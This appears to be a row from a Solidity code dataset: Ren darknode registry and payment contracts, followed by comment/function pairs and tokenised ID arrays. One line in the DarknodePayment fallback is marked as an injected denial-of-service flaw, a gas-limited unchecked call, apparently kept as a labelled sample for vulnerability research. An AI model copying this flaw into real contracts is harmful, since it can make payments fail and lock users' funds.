calldata _publicKey) external onlyRefunded(_darknodeID) { // Use the current minimum bond as the darknode's bond. uint256 bond = minimumBond; // Transfer bond to store require(ren.transferFrom(msg.sender, address(store), bond), "bond transfer failed"); // Flag this darknode for registration store.appendDarknode( _darknodeID, msg.sender, bond, _publicKey, currentEpoch.blocknumber.add(minimumEpochInterval), 0 ); numDarknodesNextEpoch = numDarknodesNextEpoch.add(1); // Emit an event. emit LogDarknodeRegistered(_darknodeID, bond); } /// @notice Deregister a darknode. The darknode will not be deregistered /// until the end of the epoch. After another epoch, the bond can be /// refunded by calling the refund method. /// @param _darknodeID The darknode ID that will be deregistered. The caller /// of this method store.darknodeRegisteredAt(_darknodeID) must be // the owner of this darknode. function deregister(address _darknodeID) external onlyDeregisterable(_darknodeID) onlyDarknodeOwner(_darknodeID) { deregisterDarknode(_darknodeID); } /// @notice Progress the epoch if it is possible to do so. This captures /// the current timestamp and current blockhash and overrides the current /// epoch. function epoch() external { if (previousEpoch.blocknumber == 0) { // The first epoch must be called by the owner of the contract require(msg.sender == owner(), "not authorized (first epochs)"); } // Require that the epoch interval has passed require(block.number >= currentEpoch.blocknumber.add(minimumEpochInterval), "epoch interval has not passed"); uint256 epochhash = uint256(blockhash(block.number - 1)); // Update the epoch hash and timestamp previousEpoch = currentEpoch; currentEpoch = Epoch({ epochhash: epochhash, blocknumber: block.number }); // Update the registry information numDarknodesPreviousEpoch = numDarknodes; numDarknodes = numDarknodesNextEpoch; // If any update functions have been called, update the values now if (nextMinimumBond != minimumBond) { minimumBond = nextMinimumBond; emit LogMinimumBondUpdated(minimumBond, nextMinimumBond); } if (nextMinimumPodSize != minimumPodSize) { minimumPodSize = nextMinimumPodSize; emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize); } if (nextMinimumEpochInterval != minimumEpochInterval) { minimumEpochInterval = nextMinimumEpochInterval; emit LogMinimumEpochIntervalUpdated(minimumEpochInterval, nextMinimumEpochInterval); } if (nextSlasher != slasher) { slasher = nextSlasher; emit LogSlasherUpdated(address(slasher), address(nextSlasher)); } // Emit an event emit LogNewEpoch(epochhash); } /// @notice Allows the contract owner to initiate an ownership transfer of /// the DarknodeRegistryStore. /// @param _newOwner The address to transfer the ownership to. function transferStoreOwnership(address _newOwner) external onlyOwner { store.transferOwnership(_newOwner); } /// @notice Claims ownership of the store passed in to the constructor. /// `transferStoreOwnership` must have previously been called when /// transferring from another Darknode Registry. function claimStoreOwnership() external onlyOwner { store.claimOwnership(); } /// @notice Allows the contract owner to update the minimum bond. /// @param _nextMinimumBond The minimum bond amount that can be submitted by /// a darknode. function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner { // Will be updated next epoch nextMinimumBond = _nextMinimumBond; } /// @notice Allows the contract owner to update the minimum pod size. /// @param _nextMinimumPodSize The minimum size of a pod. function updateMinimumPodSize(uint256 _nextMinimumPodSize) external onlyOwner { // Will be updated next epoch nextMinimumPodSize = _nextMinimumPodSize; } /// @notice Allows the contract owner to update the minimum epoch interval. /// @param _nextMinimumEpochInterval The minimum number of blocks between epochs. function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval) external onlyOwner { // Will be updated next epoch nextMinimumEpochInterval = _nextMinimumEpochInterval; } /// @notice Allow the contract owner to update the DarknodeSlasher contract /// address. /// @param _slasher The new slasher address. function updateSlasher(DarknodeSlasher _slasher) external onlyOwner { require(address(_slasher) != address(0), "invalid slasher address"); nextSlasher = _slasher; } /// @notice Allow the DarknodeSlasher contract to slash half of a darknode's /// bond and deregister it. The bond is distributed as follows: /// 1/2 is kept by the guilty prover /// 1/8 is rewarded to the first challenger /// 1/8 is rewarded to the second challenger /// 1/4 becomes unassigned /// @param _prover The guilty prover whose bond is being slashed /// @param _challenger1 The first of the two darknodes who submitted the challenge /// @param _challenger2 The second of the two darknodes who submitted the challenge function slash(address _prover, address _challenger1, address _challenger2) external onlySlasher { uint256 penalty = store.darknodeBond(_prover) / 2; uint256 reward = penalty / 4; // Slash the bond of the failed prover in half store.updateDarknodeBond(_prover, penalty); // If the darknode has not been deregistered then deregister it if (isDeregisterable(_prover)) { deregisterDarknode(_prover); } // Reward the challengers with less than the penalty so that it is not // worth challenging yourself require(ren.transfer(store.darknodeOwner(_challenger1), reward), "reward transfer failed"); require(ren.transfer(store.darknodeOwner(_challenger2), reward), "reward transfer failed"); } /// @notice Refund the bond of a deregistered darknode. This will make the /// darknode available for registration again. Anyone can call this function /// but the bond will always be refunded to the darknode owner. /// /// @param _darknodeID The darknode ID that will be refunded. The caller /// of this method must be the owner of this darknode. function refund(address _darknodeID) external onlyRefundable(_darknodeID) { address darknodeOwner = store.darknodeOwner(_darknodeID); // Remember the bond amount uint256 amount = store.darknodeBond(_darknodeID); // Erase the darknode from the registry store.removeDarknode(_darknodeID); // Refund the owner by transferring REN require(ren.transfer(darknodeOwner, amount), "bond transfer failed"); // Emit an event. emit LogDarknodeOwnerRefunded(darknodeOwner, amount); } /// @notice Retrieves the address of the account that registered a darknode. /// @param _darknodeID The ID of the darknode to retrieve the owner for. function getDarknodeOwner(address _darknodeID) external view returns (address payable) { return store.darknodeOwner(_darknodeID); } /// @notice Retrieves the bond amount of a darknode in 10^-18 REN. /// @param _darknodeID The ID of the darknode to retrieve the bond for. function getDarknodeBond(address _darknodeID) external view returns (uint256) { return store.darknodeBond(_darknodeID); } /// @notice Retrieves the encryption public key of the darknode. /// @param _darknodeID The ID of the darknode to retrieve the public key for. function getDarknodePublicKey(address _darknodeID) external view returns (bytes memory) { return store.darknodePublicKey(_darknodeID); } /// @notice Retrieves a list of darknodes which are registered for the /// current epoch. /// @param _start A darknode ID used as an offset for the list. If _start is /// 0x0, the first dark node will be used. _start won't be /// included it is not registered for the epoch. /// @param _count The number of darknodes to retrieve starting from _start. /// If _count is 0, all of the darknodes from _start are /// retrieved. If _count is more than the remaining number of /// registered darknodes, the rest of the list will contain /// 0x0s. function getDarknodes(address _start, uint256 _count) external view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodes; } return getDarknodesFromEpochs(_start, count, false); } /// @notice Retrieves a list of darknodes which were registered for the /// previous epoch. See `getDarknodes` for the parameter documentation. function getPreviousDarknodes(address _start, uint256 _count) external view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodesPreviousEpoch; } return getDarknodesFromEpochs(_start, count, true); } /// @notice Returns whether a darknode is scheduled to become registered /// at next epoch. /// @param _darknodeID The ID of the darknode to return function isPendingRegistration(address _darknodeID) external view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); return registeredAt != 0 && registeredAt > currentEpoch.blocknumber; } /// @notice Returns if a darknode is in the pending deregistered state. In /// this state a darknode is still considered registered. function isPendingDeregistration(address _darknodeID) external view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocknumber; } /// @notice Returns if a darknode is in the deregistered state. function isDeregistered(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return deregisteredAt != 0 && deregisteredAt <= currentEpoch.blocknumber; } /// @notice Returns if a darknode can be deregistered. This is true if the /// darknodes is in the registered state and has not attempted to /// deregister yet. function isDeregisterable(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); // The Darknode is currently in the registered state and has not been // transitioned to the pending deregistration, or deregistered, state return isRegistered(_darknodeID) && deregisteredAt == 0; } /// @notice Returns if a darknode is in the refunded state. This is true /// for darknodes that have never been registered, or darknodes that have /// been deregistered and refunded. function isRefunded(address _darknodeID) public view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return registeredAt == 0 && deregisteredAt == 0; } /// @notice Returns if a darknode is refundable. This is true for darknodes /// that have been in the deregistered state for one full epoch. function isRefundable(address _darknodeID) public view returns (bool) { return isDeregistered(_darknodeID) && store.darknodeDeregisteredAt(_darknodeID) <= previousEpoch.blocknumber; } /// @notice Returns if a darknode is in the registered state. function isRegistered(address _darknodeID) public view returns (bool) { return isRegisteredInEpoch(_darknodeID, currentEpoch); } /// @notice Returns if a darknode was in the registered state last epoch. function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) { return isRegisteredInEpoch(_darknodeID, previousEpoch); } /// @notice Returns if a darknode was in the registered state for a given /// epoch. /// @param _darknodeID The ID of the darknode /// @param _epoch One of currentEpoch, previousEpoch function isRegisteredInEpoch(address _darknodeID, Epoch memory _epoch) private view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); bool registered = registeredAt != 0 && registeredAt <= _epoch.blocknumber; bool notDeregistered = deregisteredAt == 0 || deregisteredAt > _epoch.blocknumber; // The Darknode has been registered and has not yet been deregistered, // although it might be pending deregistration return registered && notDeregistered; } /// @notice Returns a list of darknodes registered for either the current /// or the previous epoch. See `getDarknodes` for documentation on the /// parameters `_start` and `_count`. /// @param _usePreviousEpoch If true, use the previous epoch, otherwise use /// the current epoch. function getDarknodesFromEpochs(address _start, uint256 _count, bool _usePreviousEpoch) private view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodes; } address[] memory nodes = new address[](count); // Begin with the first node in the list uint256 n = 0; address next = _start; if (next == address(0)) { next = store.begin(); } // Iterate until all registered Darknodes have been collected while (n < count) { if (next == address(0)) { break; } // Only include Darknodes that are currently registered bool includeNext; if (_usePreviousEpoch) { includeNext = isRegisteredInPreviousEpoch(next); } else { includeNext = isRegistered(next); } if (!includeNext) { next = store.next(next); continue; } nodes[n] = next; next = store.next(next); n += 1; } return nodes; } /// Private function called by `deregister` and `slash` function deregisterDarknode(address _darknodeID) private { // Flag the darknode for deregistration store.updateDarknodeDeregisteredAt(_darknodeID, currentEpoch.blocknumber.add(minimumEpochInterval)); numDarknodesNextEpoch = numDarknodesNextEpoch.sub(1); // Emit an event emit LogDarknodeDeregistered(_darknodeID); } } /// @notice DarknodePaymentStore is responsible for tracking black/whitelisted /// darknodes as well as the balances which have been allocated to the /// darknodes. It is also responsible for holding the tokens to be paid /// out to darknodes. contract DarknodePaymentStore is Claimable { using SafeMath for uint256; using CompatibleERC20Functions for ERC20; string public VERSION; // Passed in as a constructor parameter. /// @notice The special address for Ether. address constant public ETHEREUM = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @notice The size of the whitelist uint256 public darknodeWhitelistLength; /// @notice Mapping of darknode -> token -> balance mapping(address => mapping(address => uint256)) public darknodeBalances; /// @notice Mapping of token -> lockedAmount mapping(address => uint256) public lockedBalances; /// @notice mapping of darknode -> blacklistTimestamp mapping(address => uint256) public darknodeBlacklist; /// @notice mapping of darknode -> whitelistTimestamp mapping(address => uint256) public darknodeWhitelist; /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. constructor( string memory _VERSION ) public { VERSION = _VERSION; } /// @notice Allow direct payments to be made to the DarknodePaymentStore. function () external payable { } /// @notice Checks to see if a darknode is blacklisted /// /// @param _darknode The address of the darknode /// @return true if the darknode is blacklisted function isBlacklisted(address _darknode) public view returns (bool) { return darknodeBlacklist[_darknode] != 0; } /// @notice Checks to see if a darknode is whitelisted /// /// @param _darknode The address of the darknode /// @return true if the darknode is whitelisted function isWhitelisted(address _darknode) public view returns (bool) { return darknodeWhitelist[_darknode] != 0; } /// @notice Get the total balance of the contract for a particular token /// /// @param _token The token to check balance of /// @return The total balance of the contract function totalBalance(address _token) public view returns (uint256) { if (_token == ETHEREUM) { return address(this).balance; } else { return ERC20(_token).balanceOf(address(this)); } } /// @notice Get the available balance of the contract for a particular token /// This is the free amount which has not yet been allocated to /// darknodes. /// /// @param _token The token to check balance of /// @return The available balance of the contract function availableBalance(address _token) public view returns (uint256) { return totalBalance(_token).sub(lockedBalances[_token]); } /// @notice Blacklists a darknode from participating in reward allocation. /// If the darknode is whitelisted, it is removed from the whitelist /// and the number of whitelisted nodes is decreased. /// /// @param _darknode The address of the darknode to blacklist function blacklist(address _darknode) external onlyOwner { require(!isBlacklisted(_darknode), "darknode already blacklisted"); darknodeBlacklist[_darknode] = now; // Unwhitelist if necessary if (isWhitelisted(_darknode)) { darknodeWhitelist[_darknode] = 0; // Use SafeMath when subtracting to avoid underflows darknodeWhitelistLength = darknodeWhitelistLength.sub(1); } } /// @notice Whitelists a darknode allowing it to participate in reward /// allocation. /// /// @param _darknode The address of the darknode to whitelist function whitelist(address _darknode) external onlyOwner { require(!isBlacklisted(_darknode), "darknode is blacklisted"); require(!isWhitelisted(_darknode), "darknode already whitelisted"); darknodeWhitelist[_darknode] = now; darknodeWhitelistLength++; } /// @notice Increments the amount of funds allocated to a particular /// darknode. /// /// @param _darknode The address of the darknode to increase balance of /// @param _token The token which the balance should be incremented /// @param _amount The amount that the balance should be incremented by function incrementDarknodeBalance(address _darknode, address _token, uint256 _amount) external onlyOwner { require(_amount > 0, "invalid amount"); require(availableBalance(_token) >= _amount, "insufficient contract balance"); darknodeBalances[_darknode][_token] = darknodeBalances[_darknode][_token].add(_amount); lockedBalances[_token] = lockedBalances[_token].add(_amount); } /// @notice Transfers an amount out of balance to a specified address /// /// @param _darknode The address of the darknode /// @param _token Which token to transfer /// @param _amount The amount to transfer /// @param _recipient The address to withdraw it to function transfer(address _darknode, address _token, uint256 _amount, address payable _recipient) external onlyOwner { require(darknodeBalances[_darknode][_token] >= _amount, "insufficient darknode balance"); darknodeBalances[_darknode][_token] = darknodeBalances[_darknode][_token].sub(_amount); lockedBalances[_token] = lockedBalances[_token].sub(_amount); if (_token == ETHEREUM) { _recipient.transfer(_amount); } else { ERC20(_token).safeTransfer(_recipient, _amount); } } } /// @notice DarknodePayment is responsible for paying off darknodes for their /// computation. contract DarknodePayment is Ownable { using SafeMath for uint256; using CompatibleERC20Functions for ERC20; string public VERSION; // Passed in as a constructor parameter. /// @notice The special address for Ether. address constant public ETHEREUM = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; DarknodeRegistry public darknodeRegistry; // Passed in as a constructor parameter. /// @notice DarknodePaymentStore is the storage contract for darknode /// payments. DarknodePaymentStore public store; // Passed in as a constructor parameter. /// @notice The address that can call blacklist() address public blacklister; uint256 public currentCycle; uint256 public previousCycle; /// @notice The number of whitelisted darknodes this cycle uint256 public shareCount; /// @notice The list of tokens that will be registered next cycle. /// We only update the shareCount at the change of cycle to /// prevent the number of shares from changing. address[] public pendingTokens; /// @notice The list of tokens which are already registered and rewards can /// be claimed for. address[] public registeredTokens; /// @notice Mapping from token -> index. Index starts from 1. 0 means not in /// list. mapping(address => uint256) public registeredTokenIndex; /// @notice Mapping from token -> amount. /// The amount of rewards allocated for all darknodes to claim into /// their account. mapping(address => uint256) public unclaimedRewards; /// @notice Mapping from token -> amount. /// The amount of rewards allocated for each darknode. mapping(address => uint256) public previousCycleRewardShare; /// @notice The time that the current cycle started. uint256 public cycleStartTime; /// @notice The minimum duration that the current cycle must go for. uint256 public cycleDuration; /// @notice The earliest timestamp that changeCycle() can be called. uint256 public cycleTimeout; /// @notice Mapping of darknode -> cycle -> already_claimed /// Used to keep track of which darknodes have already claimed their /// rewards. mapping(address => mapping(uint256 => bool)) public rewardClaimed; /// @notice Emitted when a darknode is blacklisted from receiving rewards /// @param _darknode The address of the darknode which was blacklisted /// @param _time The time at which the darknode was blacklisted event LogDarknodeBlacklisted(address indexed _darknode, uint256 _time); /// @notice Emitted when a darknode is whitelisted to receive rewards /// @param _darknode The address of the darknode which was whitelisted /// @param _time The time at which the darknode was whitelisted event LogDarknodeWhitelisted(address indexed _darknode, uint256 _time); /// @notice Emitted when a darknode claims their share of reward /// @param _darknode The darknode which claimed /// @param _cycle The cycle that the darknode claimed for event LogDarknodeClaim(address indexed _darknode, uint256 _cycle); /// @notice Emitted when someone pays the DarknodePayment contract /// @param _payer The darknode which claimed /// @param _amount The cycle that the darknode claimed for /// @param _token The address of the token that was transferred event LogPaymentReceived(address indexed _payer, uint256 _amount, address _token); /// @notice Emitted when a darknode calls withdraw /// @param _payee The address of the darknode which withdrew /// @param _value The amount of DAI withdrawn /// @param _token The address of the token that was withdrawn event LogDarknodeWithdrew(address indexed _payee, uint256 _value, address _token); /// @notice Emitted when a new cycle happens /// @param _newCycle The new, current cycle /// @param _lastCycle The previous cycle /// @param _cycleTimeout The earliest a new cycle can be called event LogNewCycle(uint256 _newCycle, uint256 _lastCycle, uint256 _cycleTimeout); /// @notice Emitted when the cycle duration changes /// @param _newDuration The new duration /// @param _oldDuration The old duration event LogCycleDurationChanged(uint256 _newDuration, uint256 _oldDuration); /// @notice Emitted when the Blacklister contract changes /// @param _newBlacklister The new Blacklister /// @param _oldBlacklister The old Blacklister event LogBlacklisterChanged(address _newBlacklister, address _oldBlacklister); /// @notice Emitted when a new token is registered /// @param _token The token that was registered event LogTokenRegistered(address _token); /// @notice Emitted when a token is deregistered /// @param _token The token that was deregistered event LogTokenDeregistered(address _token); /// @notice Only allow registered dark nodes. modifier onlyDarknode(address _darknode) { require(darknodeRegistry.isRegistered(_darknode), "darknode is not registered"); _; } /// @notice Only allow the Darknode Payment contract. modifier onlyBlacklister() { require(blacklister == msg.sender, "not Blacklister"); _; } /// @notice Only allow darknodes which haven't been blacklisted modifier notBlacklisted(address _darknode) { require(!store.isBlacklisted(_darknode), "darknode is blacklisted"); _; } /// @notice The contract constructor. Starts the current cycle using the /// time of deploy. /// /// @param _VERSION A string defining the contract version. /// @param _darknodeRegistry The address of the DarknodeRegistry contract /// @param _darknodePaymentStore The address of the DarknodePaymentStore /// contract /// @param _cycleDurationSeconds The minimum time before a new cycle can occur in seconds constructor( string memory _VERSION, DarknodeRegistry _darknodeRegistry, DarknodePaymentStore _darknodePaymentStore, uint256 _cycleDurationSeconds ) public { VERSION = _VERSION; darknodeRegistry = _darknodeRegistry; store = _darknodePaymentStore; cycleDuration = _cycleDurationSeconds; // Default the blacklister to owner blacklister = msg.sender; // Start the current cycle currentCycle = block.number; cycleStartTime = now; cycleTimeout = cycleStartTime.add(cycleDuration); } /// @notice Transfers the funds allocated to the darknode to the darknode /// owner. /// /// @param _darknode The address of the darknode /// @param _token Which token to transfer function withdraw(address _darknode, address _token) public { address payable darknodeOwner = darknodeRegistry.getDarknodeOwner(_darknode); require(darknodeOwner != address(0x0), "invalid darknode owner"); uint256 amount = store.darknodeBalances(_darknode, _token); require(amount > 0, "nothing to withdraw"); store.transfer(_darknode, _token, amount, darknodeOwner); emit LogDarknodeWithdrew(_darknode, amount, _token); } function withdrawMultiple(address _darknode, address[] calldata _tokens) external { for (uint i = 0; i < _tokens.length; i++) { withdraw(_darknode, _tokens[i]); } } /// @notice Forward all payments to the DarknodePaymentStore. function () external payable { //inject DOS BY COMPLEX FALLBACK address(store).call.gas(2301).value(msg.value)(""); emit LogPaymentReceived(msg.sender, msg.value, ETHEREUM); } /// @notice The current balance of the contract available as reward for the /// current cycle function currentCycleRewardPool(address _token) external view returns (uint256) { return store.availableBalance(_token).sub(unclaimedRewards[_token]); } function darknodeBalances(address _darknodeID, address _token) external view returns (uint256) { return store.darknodeBalances(_darknodeID, _token); } /// @notice Changes the current cycle. function changeCycle() external returns (uint256) { require(now >= cycleTimeout, "cannot cycle yet: too early"); require(block.number != currentCycle, "no new block"); // Snapshot balances for the past cycle uint arrayLength = registeredTokens.length; for (uint i = 0; i < arrayLength; i++) { _snapshotBalance(registeredTokens[i]); } // Start a new cycle previousCycle = currentCycle; currentCycle = block.number; cycleStartTime = now; cycleTimeout = cycleStartTime.add(cycleDuration); // Update the share size for next cycle shareCount = store.darknodeWhitelistLength(); // Update the list of registeredTokens _updateTokenList(); emit LogNewCycle(currentCycle, previousCycle, cycleTimeout); return currentCycle; } /// @notice Deposits token into the contract to be paid to the Darknodes /// /// @param _value The amount of token deposit in the token's smallest unit. /// @param _token The token address function deposit(uint256 _value, address _token) external payable { uint256 receivedValue; if (_token == ETHEREUM) { require(_value == msg.value, "mismatched deposit value"); receivedValue = msg.value; address(store).transfer(msg.value); } else { require(msg.value == 0, "unexpected ether transfer"); // Forward the funds to the store receivedValue = ERC20(_token).safeTransferFromWithFees(msg.sender, address(store), _value); } emit LogPaymentReceived(msg.sender, receivedValue, _token); } /// @notice Claims the rewards allocated to the darknode last cycle and /// increments the darknode balances. Whitelists the darknode if it /// hasn't already been whitelisted. If a darknode does not call /// claim() then the rewards for the previous cycle is lost. /// /// @param _darknode The address of the darknode to claim function claim(address _darknode) external onlyDarknode(_darknode) notBlacklisted(_darknode) { uint256 whitelistedTime = store.darknodeWhitelist(_darknode); // The darknode hasn't been whitelisted before if (whitelistedTime == 0) { store.whitelist(_darknode); emit LogDarknodeWhitelisted(_darknode, now); return; } require(whitelistedTime < cycleStartTime, "cannot claim for this cycle"); // Claim share of rewards allocated for last cycle _claimDarknodeReward(_darknode); emit LogDarknodeClaim(_darknode, previousCycle); } /// @notice Blacklists a darknode from participating in rewards. /// /// @param _darknode The address of the darknode to blacklist function blacklist(address _darknode) external onlyBlacklister onlyDarknode(_darknode) { store.blacklist(_darknode); emit LogDarknodeBlacklisted(_darknode, now); } /// @notice Adds tokens to be payable. Registration is pending until next /// cycle. /// /// @param _token The address of the token to be registered. function registerToken(address _token) external onlyOwner { require(registeredTokenIndex[_token] == 0, "token already registered"); uint arrayLength = pendingTokens.length; for (uint i = 0; i < arrayLength; i++) { require(pendingTokens[i] != _token, "token already pending registration"); } pendingTokens.push(_token); } /// @notice Removes a token from the list of supported tokens. /// Deregistration is pending until next cycle. /// /// @param _token The address of the token to be deregistered. function deregisterToken(address _token) external onlyOwner { require(registeredTokenIndex[_token] > 0, "token not registered"); _deregisterToken(_token); } /// @notice Updates the Blacklister contract address. /// /// @param _addr The new Blacklister contract address. function updateBlacklister(address _addr) external onlyOwner { require(_addr != address(0), "invalid contract address"); emit LogBlacklisterChanged(_addr, blacklister); blacklister = _addr; } /// @notice Updates cycle duration /// /// @param _durationSeconds The amount of time (in seconds) that should have /// passed before a new cycle can be called. function updateCycleDuration(uint256 _durationSeconds) external onlyOwner { uint256 oldDuration = cycleDuration; cycleDuration = _durationSeconds; emit LogCycleDurationChanged(cycleDuration, oldDuration); } /// @notice Allows the contract owner to initiate an ownership transfer of /// the DarknodePaymentStore. /// /// @param _newOwner The address to transfer the ownership to. function transferStoreOwnership(address _newOwner) external onlyOwner { store.transferOwnership(_newOwner); } /// @notice Claims ownership of the store passed in to the constructor. /// `transferStoreOwnership` must have previously been called when /// transferring from another DarknodePaymentStore. function claimStoreOwnership() external onlyOwner { store.claimOwnership(); } /// @notice Claims the darknode reward for all registered tokens into /// darknodeBalances in the DarknodePaymentStore. /// Rewards can only be claimed once per cycle. /// /// @param _darknode The address to the darknode to claim rewards for function _claimDarknodeReward(address _darknode) private { require(!rewardClaimed[_darknode][previousCycle], "reward already claimed"); rewardClaimed[_darknode][previousCycle] = true; uint arrayLength = registeredTokens.length; for (uint i = 0; i < arrayLength; i++) { address token = registeredTokens[i]; // Only increment balance if shares were allocated last cycle if (previousCycleRewardShare[token] > 0) { unclaimedRewards[token] = unclaimedRewards[token].sub(previousCycleRewardShare[token]); store.incrementDarknodeBalance(_darknode, token, previousCycleRewardShare[token]); } } } /// @notice Snapshots the current balance of the tokens, for all registered /// tokens. /// /// @param _token The address the token to snapshot. function _snapshotBalance(address _token) private { if (shareCount == 0) { unclaimedRewards[_token] = 0; previousCycleRewardShare[_token] = 0; } else { // Lock up the current balance for darknode reward allocation unclaimedRewards[_token] = store.availableBalance(_token); previousCycleRewardShare[_token] = unclaimedRewards[_token].div(shareCount); } } /// @notice Deregisters a token, removing it from the list of /// registeredTokens. /// /// @param _token The address of the token to deregister. function _deregisterToken(address _token) private { address lastToken = registeredTokens[registeredTokens.length.sub(1)]; uint256 deletedTokenIndex = registeredTokenIndex[_token].sub(1); // Move the last token to _token's position and update it's index registeredTokens[deletedTokenIndex] = lastToken; registeredTokenIndex[lastToken] = registeredTokenIndex[_token]; // Decreasing the length will clean up the storage for us // So we don't need to manually delete the element registeredTokens.length = registeredTokens.length.sub(1); registeredTokenIndex[_token] = 0; emit LogTokenDeregistered(_token); } /// @notice Updates the list of registeredTokens adding tokens that are to be registered. /// The list of tokens that are pending registration are emptied afterwards. function _updateTokenList() private { // Register tokens uint arrayLength = pendingTokens.length; for (uint i = 0; i < arrayLength; i++) { address token = pendingTokens[i]; registeredTokens.push(token); registeredTokenIndex[token] = registeredTokens.length; emit LogTokenRegistered(token); } pendingTokens.length = 0; } }
@notice Removes a darknode from the store and transfers its bond to the owner of this contract.
function removeDarknode(address darknodeID) external onlyOwner { uint256 bond = darknodeRegistry[darknodeID].bond; delete darknodeRegistry[darknodeID]; LinkedList.remove(darknodes, darknodeID); require(ren.transfer(owner(), bond), "bond transfer failed"); }
6,360,579
[ 1, 6220, 279, 23433, 2159, 628, 326, 1707, 471, 29375, 2097, 8427, 358, 326, 3410, 434, 333, 6835, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1206, 40, 1313, 2159, 12, 2867, 23433, 2159, 734, 13, 3903, 1338, 5541, 288, 203, 3639, 2254, 5034, 8427, 273, 23433, 2159, 4243, 63, 25045, 2159, 734, 8009, 26425, 31, 203, 3639, 1430, 23433, 2159, 4243, 63, 25045, 2159, 734, 15533, 203, 3639, 10688, 18, 4479, 12, 25045, 4690, 16, 23433, 2159, 734, 1769, 203, 3639, 2583, 12, 1187, 18, 13866, 12, 8443, 9334, 8427, 3631, 315, 26425, 7412, 2535, 8863, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x911a768fF40e6477736AA009EF0055563982bE3a/sources/src/ExternalRefinancing.sol
@title Interface for WETH9
interface IWETH9 is IERC20 { function deposit() external payable; function withdraw(uint256) external; } }
3,218,104
[ 1, 1358, 364, 678, 1584, 44, 29, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
